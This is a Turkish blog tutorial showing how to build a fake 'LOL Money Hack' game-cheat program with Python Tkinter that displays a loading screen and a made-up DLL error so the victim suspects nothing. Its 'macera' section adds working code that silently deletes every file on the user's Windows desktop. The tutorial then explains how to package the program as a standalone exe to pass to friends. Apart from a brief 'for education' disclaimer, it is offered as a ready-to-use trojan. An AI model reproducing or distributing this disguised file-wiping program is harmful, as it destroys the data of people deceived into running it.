Python ile Sahte Arayüz Tasarlama
Merhabalar, Kekik | Siber'e Hoşgeldiniz..
Bu yazıda Python ile Tkinter kullanarak sahte arayüzler oluşturacak ve bu arayüzleri işleyeceğiz..
Not : Aşağıda bahsedilecek herşey eğitim için hazırlanmış olup, olası herhangi bir durumda sorumluluk alınmayacaktır.
Bu yazıyı istediğiniz platformda istediğiniz gibi kullanabilirsiniz.
Yeter ki bilgi yayalım , virüs değil :)
Not 2 : Birazdan okuyacaklarınız Orta düzey Python bilgisi gerektirmektedir .
Tkinter modülü;
♦ Windows'da Python3 ile default olarak yüklü gelir.
♦ GNU[Linux] Sistemlerde Kurulumunu Yapmak için;[sudo] apt install python3-tk | pacman -S tk komutlarını kullanabilirsiniz.
Peki ne işimize yarayacak bu arayüzler ?
Oluşturduğumuz arayüz'ü [sahte uygulama] daha sonra başka konularda bol bol kullanacağız. Ginede örnek vermek gerekirse:
- Yeni LOL hilesi çıkmış duydun mu ?
+ Hayır , uygulama mı path mi ? Ne hilesi ?
- Açınca lol ekranı çıkıyor biraz bekletiyor bilmem kaç oyun parası veriyor
+ Vaay , çok iyi . Nereden indireceğim ?
- Bekle link atıyorum
[]
+ Açtım evet , lol ekranı açıldı
+ Yükleniyor diyor
+ LOL dosyalarını arıyormuş
+ Hata verdi hmm
+ lolhack.exe can't find lol folder
+ Sanırım bilgisayarımda problem var
+ Neyse artık ..
Bu diyalog size tanıdık gelmiş olabilir . Uygulama açıldıktan sonra öyle bir kodlamamız gerekiyor ki kimseye birşey çaktırmasın .)
Tabiki bu konudaki bilgileri sadece "Pentests" alanında değil , Python projelerinizde de kullanabilirsiniz..
Ayrıca Python to exe'ye de değinerek, .py dosyamızı Python bağımlılığında kurtararak her Windows bilgisayarda çalışır hale getireceğiz
Aynı şekilde .elf [executable linux file] 'da oluşturacağız
GelGelelim Kodlarımıza
[Çalışma alanı : Manjaro , Dosya Adı : kekiksiber_arayuz.py ]
#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz import tkinter # arayüz için import sys # dosya ismi|exit için import time # sleep() için import platform # cihaz bilgileri için from tkinter import messagebox # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz
Gereken tüm kütüphaneleri projemize dahil ettik .
Yukarıda LOL örneği verdiğim için arayüzümüzü lol temalı yapalım;
Tkinter modülünde uygulamamız içerisine resim eklememiz için, ekleyeceğimiz resmin o bilgisayarda bulunuyor olması şart.
Bu bağımlılıktan kurtulmak için uygulama açıldığı zaman bir png resim oluştuyrabiliriz.
Lakin bu bizim inandırıcılığımızı bozacaktır.
Bunun önüne geçmek için png resmimizi base64 kodu halinde programıma ekleyeceğiz .
Internetten img to base64 web adreslerine erişebilirsiniz.
Ama el yapımı salata varken neden dışarıdan salata söyleyelim ki ?
[PNG to BASE64] # Atlayabilirsiniz
import base64
yol = input("Aynı klasordeki resim tam adını yada konum belirterek resmin tam adını giriniz : ")
try: # herhangi bir hata verirse bu eleman ile çökmesini engelleyeceğiz
with open(yol, "rb") as dosya: # Resmimizi read bytes şeklinde açmak zorundayız !
dosya = base64.encodestring(dosya.read()) # png'imizi okuduk ve base64'e bunu encode etmesini söyledik
with open(f"{yol}.txt", "wb") as yaz: # base64 kodumuzu ($yol).txt'e yazacağız . | base64 kodumuz byte halinde !
yaz.write(dosya) # base64 kodumuzu ($yol).txt'e yazdık
input("Başarılı ile yazıldı !") # Başarılı olup olmadığı belirtmesi için bir input() verdik
except Exception as hata:
input("png to base64'e hata ile karşılaşıldı :\n"+hata) ## Olur da bir hata ile karşılaşırsak ne olduğunu anlamamız gerekiyorHerşey başarılı olduktan sonra programımızı açalım
ve base64'e döndürmesi gereken img'i belirtelim
($yol).txt'e göz atalım ve tebrikler
Homemade byte to base64'ünüz oldu :)
png görselimizi [Tkinter jpg kullanmanıza izin vermeyecektir] base64 koduna dönüştürdüğümüze göre kodlamaya devam;
[kekiksiber_arayuz.py]
app = tkinter.Tk() # tkinter penceremizi açtık
image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35 ....""")
app.title("Lol Money Hack") # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz
#app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz
#app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz
# Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır
app.resizable(0,0) # Yeniden boyutlandırmayı kapattık
label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch")
# image ile label'ımızda resim olacağını belirttik
# text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ?
# Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum
# Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz
# compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz
# bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir
# fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir
# cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz
label.pack() # label'imizi görünür yaptık
app.mainloop() # penceremizi aktif ettikBuraya kadar herşeyi eksiksiz yazdıysanız dosyamızı çalıştırdığımız zaman resmimiz ekrana gelmiş transparant ise arkasında siyahlığı görüyor olacaksınız..
Yanlız fark ettiyseniz penceremiz ekranın sağında solunda açıldı . Bunu ekranın tam ortasına almalıyız . Böyle uygulamamız profesyonelce gözükecek :)
Bunu yapmak için birtakım matemaktiksel işlemler gerekiyor . Hal böyle olunca bende internetten buldum kodları :)
[kekiksiber_arayuz app ortalama kodları]
windowWidth = app.winfo_reqwidth() # penceremizin enlemini aldık
windowHeight = app.winfo_reqheight() # penceremizin boylamını aldık
positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2) # Pencere konumumuzun enlemini
positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor.
app.geometry(f"+{positionRight}+{positionDown}") # Pencere konumumuz ayarlıyoruzBu kodları kekiksiber_arayuz.py'e ekleyince tam olarak böyle gözüküyor;
#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz
import tkinter # arayüz için
import sys # dosya ismi|exit için
import time # sleep() için
import platform # cihaz bilgileri için
from tkinter import messagebox # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz
app = tkinter.Tk() # tkinter penceremizi açtık
image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35""")
app.title("Lol Money Hack") # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz
app.iconphoto(1,image) # ikonumuzu aynı resim olarak belirledik
#app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz
#app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz
# Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır
# Uygulamamızı ortalamamız için
windowWidth = app.winfo_reqwidth() # penceremizin enlemini aldık
windowHeight = app.winfo_reqheight() # penceremizin boylamını aldık
positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2) # Pencere konumumuzun enlemini
positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor.
app.geometry(f"+{positionRight}+{positionDown}") # Pencere konumumuz ayarlıyoruz
#NOT# positionRight ve positionDown 'da pencereyi ortalarken "3" rakamında değişiklik yapmanız gerekebilir
app.resizable(0,0) # Yeniden boyutlandırmayı kapattık
label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch")
# image ile label'ımızda resim olacağını belirttik
# text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ?
# Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum
# Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz
# compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz
# bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir
# fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir
# cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz
label.pack() # label'imizi görünür yaptık
app.mainloop() # penceremizi aktif ettik Yukarıdaki kodların bitmiş haline erişebileceğiniz , kullandığım png'nin base64 kodlarını web adresimden çekmenizi sağlayacağım linkleri makalenin sonunda paylaşacağım
Yukarıdaki kodları sizde denedikten sonra uygulamamızın sadece base64 formatındaki png'imizi gösterdiğini göreceksiniz .
Açıkcası bu pek inandırıcı olmaz . Haydi birkaç nitelik ekleyelim
[kekiksiber_arayuz nitelik]
app = tkinter.Tk()
app.resizable(0,0) # Yeniden boyutlandırmayı kapattık
label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") # label'ı ayarladık
label.pack() # label'imizi görünür yaptık
app.update() # Tkinter'a tüm ayarları yaptığımızı söyledik.
# Böylece sleep verdiğimiz zaman ekrandaki herşeyi gösterip sonra bekleyecek.
# Aksi türlü ilk sleep()'i bekliyor ardından uygulamamızı açıyor .
time.sleep(3) # Arkadaşımızı azıcık bekletelim değil mi :) +knk az bekle yüklenir şimdi
label.config(text="Searching LOL Files ..") # 3 saniye bekledikten sonra daha önce " " olarak verdiğimiz değere birkaç şeyler yazalım
# Yabancı dil kullanarak "+ adamlar yapmış bee" dedirtebilirsiniz .)
app.update() # Tekrardan güncelleme vermek zorundayız
time.sleep(3) # "Searching LOL Files .." :)
label["text"] = "Searching LOL Account" # label.config() yapmak yerine label[]'de kullanabilirsiniz .
app.update() # Tekrardan güncelliyoruz
time.sleep(3) # Yine 3 saniye bekletip hatamızı çakalım
messagebox.showerror("LOL Money Hack","Id1oT.dll not found !") # :) .dll bulunamadı adında bir hata çıkarttık
sys.exit() # Hata ekranı geçildikten sonra tüm uygulamamızı kapattıkŞimdiye kadar ne yaptık;
♦ png'mizi base64 koduna getirdik böylece başka bilgisayarlarda png'yi oluşturmamıza gerek kalmadı
♦ Ekranımızı oluşturduk arka planı siyah yaptık ve 3 saniye bekleterek bir yazı atadık
birkaç yazı daha ekledik
♦ sonra messagebox.showerror() ile ekrana hata gösterip programı kapattık
Şimdiye Kadarki Güvenli Arayüzün Tamamı <<
Peki buna biraz daha macera eklesek ne olur ? :)
Aklımdaki macera hepinizin iştahını kabartacak türden lakin ByteData projem için saklıyorum :)
Yine de yakın arkadaşınızı çıldırtacak bir şey yazalım hadi;
[kekiksiber_arayuz macera]
def macera():
import os
konum = os.getcwd() # Şuanki konumu aldık | almasak da olurdu
isim = os.getlogin() # Desktop'a geçmek için isim'i aldık
os.chdir("C:\\Users\\"+isim+"\\Desktop") # os.chdir(os.getenv("desktop")) de kullanılabilir | Desktop konuma geçtik
#
for i in os.listdir(): # Desktop konumundaki tüm dosyaları listeledik
try:
os.remove(i) # Listelediğimiz tüm dosyaları sildik :)
except:pass
app.update()
macera() # tüm dosyaları silen hazinemizi aktif ettik
messagebox.showerror("Lol Money Hack","lollib.dll not found !") # en sonunda lollib.dll yok dedik :DHaydi şimdiye kadarki tüm kodları yeniden paylaşalım .
Güvensiz Arayüz
Bu sefer bunu çalıştırken dikkat edin :)
Küçük zararsız arayüzümü yazdık . Şimdi bunu exe | elf yapalım .
Bunu sağlayabilmek için pip ile "pyinstaller" 'ı kurmanız gerekiyor :
windows :
pip install pyinstaller
Linux :
pip3 install pyinstaller
Mac :
pip3 install pyinstaller
pyinstaller'ı kurduktan sonra yapacağımız işlem pek basit dostlar . Terminal ile .py dosyamızın olduğu yere gidin :
Örnek: kekiksiber_arayuz.py C:\Users\raifpy\Desktop\kekik'in içinde olduğunu farz edelim;
cmd'yi açın ve : cd C:\Users\\raifpy\Desktop\kekik yazarak o konuma geçin .
[Python To EXE]
pyinstaller --onefile --noconsole kekiksiber_arayuz.py
pyinstaller --onefile --noconsole -i aynikonumdaki.ico kekiksiber_arayuz.py
Şeklinde exe elf yada mac executable file * olarak düzeltebilirsiniz :)
Bu işlemlerden sonra çalıştırılabilir dosyamız dist klasörünün içinde olacaktır
Zarasız olan hali için : kekiksiber_arayuz_guvenli.py
Zararlı olan hali için :) : kekiksiber_arayuz_guvensiz.py
kullandığım lol png'nin base64 kodları : lol.png.txt
png to base64 tool : PNGtoB64.py
web adresimden çekilen lol png ile çalışan zararsız hali : kekiksiber_arayuz_imginweb.py
*****
NOT : pyinstaller ile exe formatına çevrilen her program virustotal'de en az 8 anti virus tarafından "zaralı yazılım" olarak algılanır..
program zararlı olsun yada olmasın .
*****
Kaynakça : Kodlab YayınEvi | Projeler ile Python , stackoverflow.com , doctorguru.com , yazbel.com , istihza.net ...
Posted for KekikSiber by raifpy